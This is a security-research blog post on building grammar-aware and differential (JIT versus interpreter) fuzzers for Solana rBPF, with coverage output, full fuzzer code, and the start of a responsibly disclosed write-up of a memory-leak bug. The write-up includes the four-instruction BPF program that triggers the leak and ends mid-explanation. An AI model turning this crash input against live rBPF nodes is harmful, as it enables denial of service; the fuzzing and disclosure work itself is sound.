  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|      5|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  821|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^1
  828|      1|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     11|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     11|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^6
  833|      6|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^6
  838|      6|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     16|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     16|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^2
  850|      2|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^2
  860|      2|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|    136|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|     18|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|     94|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|     14|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|    226|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|     15|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|     98|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|      0|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|      0|                    }
  886|      0|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|      0|                    if reg[src] as i32 == 0 {
  890|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|      0|                    }
  892|      0|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|      0|                    }
  895|      0|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    102|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|     13|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|     46|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|     16|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      4|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|     32|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      2|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|      4|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|     54|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|     90|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|     20|                    if reg[src] as u32 == 0 {
  909|      6|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|     14|                    }
  911|     14|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|     96|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|     14|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|     59|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|      7|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|     15|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|    236|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      2|                ebpf::LE         => {
  920|      2|                    reg[dst] = match insn.imm {
  921|      1|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      1|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      2|                ebpf::BE         => {
  930|      2|                    reg[dst] = match insn.imm {
  931|      1|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      1|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|  16.7k|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|     26|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|    145|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|     25|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|    480|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|     13|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|    191|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|      5|                    if reg[src] == 0 {
  950|      3|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|      2|                    }
  952|      2|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|      0|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|      0|                    }
  958|      0|
  959|      0|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|      0|                    if reg[src] == 0 {
  963|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      0|                    }
  965|      0|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      0|                    }
  968|      0|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    115|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|     19|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|     93|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|     19|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|     19|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|     48|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      4|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|      5|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|     94|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|    141|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|     19|                    if reg[src] == 0 {
  982|      4|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|     15|                    }
  984|     15|                                    reg[dst] %= reg[src];
  985|       |                },
  986|     98|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|     17|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|     89|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|     10|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|     14|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    294|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|   327k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|    116|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^76                                                           ^40
  996|   131k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^11
  997|   163k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^16.4k
  998|   131k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^34
  999|  65.5k|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^8
 1000|  65.5k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^11
 1001|  65.5k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^3
 1002|      6|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^4                                                            ^2
 1003|   131k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1004|  65.5k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^2
 1005|      3|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^2
 1006|      2|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|   196k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^196k                                                         ^3
 1008|   131k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^3
 1009|  65.5k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^6
 1010|     14|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^13
 1011|  65.5k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^12
 1012|  65.5k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1013|   131k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^20
 1014|   147k|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^23
 1015|  65.5k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1016|   131k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     17|                    let mut resolved = false;
 1032|     17|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     17|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     17|                    if syscalls {
 1039|      6|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      6|                        }
 1062|     11|                    }
 1063|       |
 1064|     17|                    if calls {
 1065|     11|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     11|                        }
 1073|      6|                    }
 1074|       |
 1075|     17|                    if !resolved {
 1076|     17|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     11|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     39|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     39|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|  2.16M|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|     33|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|  2.16M|            }
 1106|       |        }
 1107|       |
 1108|    683|        Err(EbpfError::ExecutionOverrun(
 1109|    683|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    683|        ))
 1111|    886|    }

Now we see that jump and call instructions are actually used, and that we execute the content of the interpreter loop significantly more despite having approximately the same amount of successful calls to the interpreter function. From this, we can infer that not only are more programs successfully executed, but also that, of those executed, they tend to have more valid instructions executed overall.

While this isn’t hitting every branch, it’s now hitting significantly more – and with much more interesting values.

The development of this version of the fuzzer took about an hour, so we’re at a total of one hour of development.

JIT and differential fuzzing

Now that we have a fuzzer which can generate lots of inputs that are actually interesting to us, we can develop a fuzzer which can test both JIT and the interpreter against each other. But how do we even test them against each other?

Picking inputs, outputs, and configuration

As the definition of pseudo-oracle says: we need to check if the alternate program (for JIT, the interpreter, and vice versa), when provided with the same “input” provides the same “output”. So what inputs and outputs do we have?

For inputs, there are three notable things we’ll want to vary:

  • The config which determines how the VM should execute (what features and such)
  • The BPF program to be executed, which we’ll generate like we do in “smart”
  • The initial memory of the VMs

Once we’ve developed our inputs, we’ll also need to think of our outputs:

  • The “return state”, the exit code itself or the error state
  • The number of instructions executed (e.g., did the JIT program overrun?)
  • The final memory of the VMs

Then, to execute both JIT and the interpreter, we’ll take the following steps:

  • The same steps as the first fuzzers:
    • Use the rBPF verification pass (called “check”) to make sure that the VM will accept the input program
    • Initialise the memory, the syscalls, and the entrypoint
    • Create the executable data
  • Then prepare to perform the differential testing
    • JIT compile the BPF code (if it fails, fail quietly)
    • Initialise the interpreted VM
    • Initialise the JIT VM
    • Execute both the interpreted and JIT VMs
    • Compare return state, instructions executed, and final memory, and panic if any do not match.

Writing the fuzzer

As before, I’ve split this up into more manageable chunks so you can read them one at a time outside of their context before trying to interpret their final context.

Step 1: Defining our inputs
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    ... snip ...
    prog: FuzzProgram,
    mem: Vec<u8>,
}
Step 2: Setting up the VM
fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    ... snip ...
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        // See step 3
    }
});
Step 3: Executing our input and comparing output
fuzz_target!(|data: FuzzData| {
    // see step 2

    if Executable::jit_compile(&mut executable).is_ok() {
        // see step 2

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});
Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![no_main]

use std::collections::BTreeMap;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, Instruction, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    exit_dst: u8,
    exit_src: u8,
    exit_off: i16,
    exit_imm: i64,
    prog: FuzzProgram,
    mem: Vec<u8>,
}

fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    prog.exit()
        .set_dst(data.exit_dst)
        .set_src(data.exit_src)
        .set_off(data.exit_off)
        .set_imm(data.exit_imm)
        .push();
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});

Theoretically, an up-to-date version is available in the rBPF repo.

And, with that, we have our fuzzer! This part of the fuzzer took approximately three hours to implement (largely due to finding several issues with the fuzzer and debugging them along the way).

At this point, we were about six hours in. I turned on the fuzzer and waited:

$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1

And the crashes began. Two main bugs appeared:

  1. A panic when there was an error in interpreter, but not JIT, when writing to a particular address (crash in 15 minutes)
  2. A AddressSanitizer crash from a memory leak when an error occurred just after the instruction limit was past by the JIT’d program (crash in two hours)

To read the details of these bugs, continue to Part 2.

Earn $200K by fuzzing for a weekend: Part 2

By: addison
11 May 2022 at 08:00

Below are the writeups for two vulnerabilities I discovered in Solana rBPF, a self-described “Rust virtual machine and JIT compiler for eBPF programs”. These vulnerabilities were responsibly disclosed according to Solana’s Security Policy and I have permission from the engineers and from the Solana Head of Business Development to publish these vulnerabilities as shown below.

In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.

Bug 1: Resource exhaustion

The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
  r0 = r0 + 255
  if r0 <= 8355838 goto -2
  r9 = r3 >> 3
  call -1

For whatever reason, this particular set of instructions causes a memory leak.

When executed, this program does the following steps, roughly:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error

What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:

let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };

remaining, here, refers to the number of instructions remaining before the program is forceably terminated. As a result, the leaking program was running out this meter at exactly the call instruction.

A faulty optimisation

There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.

The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.

The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
